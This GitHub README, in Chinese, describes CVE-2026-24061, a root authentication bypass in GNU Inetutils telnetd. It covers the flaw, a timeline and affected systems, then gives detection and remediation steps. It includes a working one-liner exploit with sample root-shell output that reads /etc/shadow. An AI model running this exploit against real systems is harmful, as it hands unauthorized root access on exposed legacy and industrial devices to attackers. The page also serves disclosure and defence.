0xAshwesker/CVE-2026-24061
GitHub: 0xAshwesker/CVE-2026-24061
CVE-2026-24061是GNU Inetutils telnetd中的严重远程认证绕过漏洞,攻击者通过注入恶意USER环境变量可无需凭据直接获得root shell。
Stars: 0 | Forks: 0
# 🚨 CVE-2026-24061 — “TelneTD”

**GNU Inetutils telnetd 中的严重远程认证绕过漏洞**
2015 年的幽灵卷土重来,攻陷所有仍在运行 telnet 的系统。




**零认证。一个环境变量。即时 root shell。**
## ⚠️ 概述
**CVE-2026-24061** 是 **GNU Inetutils telnetd ≤ 2.7** 中的一个**严重的远程权限提升**漏洞。
未经认证的远程攻击者可以通过 Telnet NEW-ENVIRON 选项将 `USER` 环境变量设置为 `"-f root"`。
telnetd 将该值在**未经过滤**的情况下直接传递给 `/bin/login` → login 解析到 `-f root` → 跳过所有认证 → 将攻击者放入一个 **root shell**。
这段危险代码在代码库中潜伏了**近 11 年**(自 2015 年左右起)。
## 🔥 严重程度与影响
- **CVSS v3.1 基础分数**: **9.8 / 严重**
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
- **攻击向量**: 网络 (TCP/23)
- **所需权限**: 无
- **用户交互**: 无
- **漏洞利用成熟度**: 微不足道 (任何 telnet 客户端均可一键利用)
**2026 年 3 月的现状**:
- 自 1 月下旬起已观察到大规模扫描和利用
- 旧的嵌入式设备、OT 设备、被遗忘的测试服务器仍然敞开大门
- 完全的系统沦陷:凭据泄露、持久化、勒索软件入口
## 🕵️ 发现
- 2026 年 1 月中旬私下报告给 GNU 维护者
- 2026 年 1 月下旬通过 oss-security 公开披露
- 在 GNU Inetutils ≥ 2.8 中修复(披露后不久发布)
## 🔬 技术深入分析
当 telnetd 收到包含以下内容的 NEW-ENVIRON 选项时:
```
USER=-f root
```
它将该值**直接**附加到传递给 `/bin/login` 的 argv 中:
```
execve("/bin/login", ["login", "-f", "root", ...], ...)
```
login 二进制文件将 `-f root` 解释为:
“此用户已通过 root 认证 —— 无需密码检查。”
→ 攻击者获得 **#** 提示符。游戏结束。
**关键致命设计缺陷**:`-R` / 环境变量转发从未限制给经授权的用户。
## 📅 时间线
| 日期 | 事件 |
|-------------------|--------------------------------------------|
| **~2015 年 3 月** | 引入了易受攻击的环境变量处理逻辑 |
| **2026 年 1 月** | 私下报告给上游 |
| **2026 年 1 月下旬** | 公开披露 & 分配 CVE |
| **2026 年 1 月下旬** | 发布修复 (Inetutils ≥ 2.8) |
| **2026 年 1 月 26 日** | 加入 CISA 已知被利用漏洞目录 |
| **2026 年 2–3 月** | 针对旧系统/OT 系统的利用激增 |
| **2026 年 3 月** | 许多嵌入式供应商仍保持沉默或未修补 |
## 🖥️ 受影响的系统
**受影响版本**: GNU Inetutils telnetd **1.9.3 – 2.7**
**2026 年的常见攻击目标**:
- 旧的工业控制器 & HMI
- 旧路由器、交换机、打印机
- 派生自 Debian 的嵌入式设备
- 被遗忘的开发/测试虚拟机和容器
- 仍然暴露 TCP/23 的 OT 网关
**安全**:
- 运行 busybox telnetd 的系统
- Inetutils ≥ 2.8
- 完全禁用 / 防火墙屏蔽 Telnet
## 💥 漏洞利用实战
**单行命令 (任何装有 telnet 客户端的 Linux/macOS)**:
```
USER="-f root" telnet -a 192.168.1.50
```
**典型输出**:
```
┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.
Debian GNU/Linux 12 telnetd
root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...
```
按下回车键后 —— 获得完整的 root 访问权限。
## 🛡️ 检查与修复 (2026 年 3 月)
### 1. 检测易受攻击的服务
```
telnet localhost 23 # look for inetutils banner
inetutils-telnetd --version # vulnerable if ≤ 2.7
```
### 2. 终止它 (建议永久关闭)
```
systemctl disable --now inetutils-inetd # or telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd
```
### 3. 更新 (仅当必须保留 telnet 时 —— 极少见)
```
sudo apt update && sudo apt install --reinstall inetutils-telnetd # → ≥2.8
```
### 4. 防火墙 (双重保险)
```
iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp
```
## 📈 状态 —— 2026 年 3 月
- 针对未修补旧设备的利用仍在继续
- Telnet 使用率处于历史最低 —— 但一旦存在仍致命
- 生态系统的教训:**旧协议就是地雷**
## 🎓 铭刻在心的教训
- 11 年前的 Bug 仍然藏在“死代码”中
- 切勿将未过滤的用户输入传递给生成 root 权限的二进制文件
- 参数注入 → root 是永恒的主题
- **Telnet 本该在 2010 年消亡。在 2026 年彻底终结它吧。**标签:/bin/login, CISA KEV, CISA项目, Critical 漏洞, Cutter, CVE-2026-24061, CVSS 9.8, GNU Inetutils, OT 安全, PKINIT, Root Shell, RuleLab, telnetd, TelneTD, Telnet 协议, Web报告查看器, 协议分析, 嵌入式设备安全, 工控安全, 并发处理, 攻击向量, 未授权访问, 权限提升, 环境变量注入, 系统入侵, 编程工具, 网络安全, 远程代码执行, 远程认证绕过, 遗留系统, 隐私保护, 零日漏洞